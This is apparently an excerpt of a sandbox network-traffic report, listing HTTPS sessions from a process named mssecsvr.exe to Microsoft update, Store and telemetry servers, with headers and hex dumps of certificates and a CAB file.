2022-07-20 04:07:54 UTC	7020	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.6	53019	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:54 UTC	7024	OUT	GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=948994566&PG=PC000P0FR5.0000000IRT&REQASID=99BA276E021E43218B340DF12ECC0372&UNID=338388&ASID=c035acaa03324794bfb52199a4c0161a&PERSID=02AA8208DC2442607EBF3783DF63721D&GLOBALDEVICEID=6825795053065338&LOCALID=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=144e32d9976d4d15a22eb3ffcf9ce6f5&DEVOSVER=10.0.17134.1&REQT=20220720T040636&TIME=20220720T130714Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:55 UTC	7025	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 9e877589-b93a-42b0-81fb-46e73103c6a2 Date: Wed, 20 Jul 2022 04:07:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.6	53023	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:55 UTC	7024	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:55 UTC	7025	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 9bb06dad-224e-4385-b800-e212a32e7f20 MS-RequestId: 265e2417-6683-4fef-ae2d-dcd62c67613f MS-CV: yMV6T7UKf0+lWahC.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:54 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:55 UTC	7025	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:55 UTC	7041	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:55 UTC	7057	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	49732	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:49 UTC	132	OUT	GET /image/apps.256.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.ca4cbefc-0ab0-4144-90c1-07f5250c8c21?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:49 UTC	132	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 11182 Content-Type: image/png Last-Modified: Thu, 30 Sep 2021 03:30:18 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk4M0MyQTA4MkRBQUM" MS-CV: Yyzz1YfTlk6thXph.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:49 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:49 UTC	133	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 2b 75 49 44 41 54 78 01 d4 97 07 6e ec 3a 0c 45 05 60 c4 f4 be 84 d7 d3 7b dd ff be 3e 43 c3 77 e4 cf 70 28 ca 4a 03 0e 08 0e 33 55 07 97 76 d2 22 ff 04 79 84 de e0 17 d1 ef 25 6b 68 a2 fc 19 9a bc fe 97 d6 fe 72 ad e6 df 17 e3 6f 25 b4 c6 fc 11 7e c7 a0 09 69 a5 a4 5f 30 04 42 56 98 80 8c d2 8a ef e6 38 6f d8 93 0d e6 18 c8 9f 30 51 ac 33 fd 9d b9 d0 7a b5 bf 41 d5 ff f5 10 dc 04 f4 e4 f5 90 15 f7 e8 71 8e e8 bf 28 e3 d7 3e f6 44 fe 0b 2a fc ad 49 48 0f 13 95 24 e9 8e e6 66 45 4a be 3f be b3 2a 88 51 3b 33 71 8c 18 df 0d 58 7f cd 10 d3 1a 9d 99 9c 7c 2c fa 13 db 2d b6 fa fb c3 f0 b1 a7 2a 49 1d ae 31 ef ec 66 f3 64 b1 6c 04 6e 04 9e e8 87 e5 10 73 bc Data Ascii: PNGIHDRh_+uIDATxn:E`{>Cwp(J3Uv"y%khro%~i_0BV8o0Q3zAq(>DIH$fEJ?Q;3qX\|,-*I1fdlns

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.6	53025	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:55 UTC	7060	OUT	GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=948994566&PG=PC000P0FR5.0000000IRT&REQASID=99BA276E021E43218B340DF12ECC0372&UNID=338388&ASID=c035acaa03324794bfb52199a4c0161a&PERSID=02AA8208DC2442607EBF3783DF63721D&GLOBALDEVICEID=6825795053065338&LOCALID=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=144e32d9976d4d15a22eb3ffcf9ce6f5&DEVOSVER=10.0.17134.1&REQT=20220720T040636&TIME=20220720T130717Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:55 UTC	7061	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 1a30d040-ef78-4ed9-9683-6f1547bfa3b3 Date: Wed, 20 Jul 2022 04:07:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.6	53056	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:55 UTC	7061	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:56 UTC	7062	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: ea560606-bace-4228-9aeb-9ce159dda8aa MS-RequestId: 5315fd71-2691-4b41-8570-56a7cdab69b9 MS-CV: qRuHasSRPE2M2CEG.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:55 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:56 UTC	7062	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:56 UTC	7078	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:56 UTC	7094	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.6	53083	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:56 UTC	7097	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:56 UTC	7097	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 227278b7-80cf-453f-b2bb-37e79aca7cc1 MS-RequestId: 172724a5-fa9a-4ee7-b514-3526b3f8e273 MS-CV: PFat4NqzdkqP9COT.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:55 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:56 UTC	7098	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:56 UTC	7113	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:56 UTC	7129	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.6	53145	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:57 UTC	7133	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:57 UTC	7133	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: b6fe7009-f687-4f79-8bd3-9480ef80d4f9 MS-RequestId: d4dc56e3-230b-4c38-9dc5-c9bec447878d MS-CV: rjyvjTXAlUGPUN+I.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:57 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:57 UTC	7134	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:57 UTC	7149	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:57 UTC	7165	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.6	53180	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:58 UTC	7169	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 35 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 61 63 38 66 39 30 34 35 63 33 32 64 31 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 245Context: 3ac8f9045c32d1d
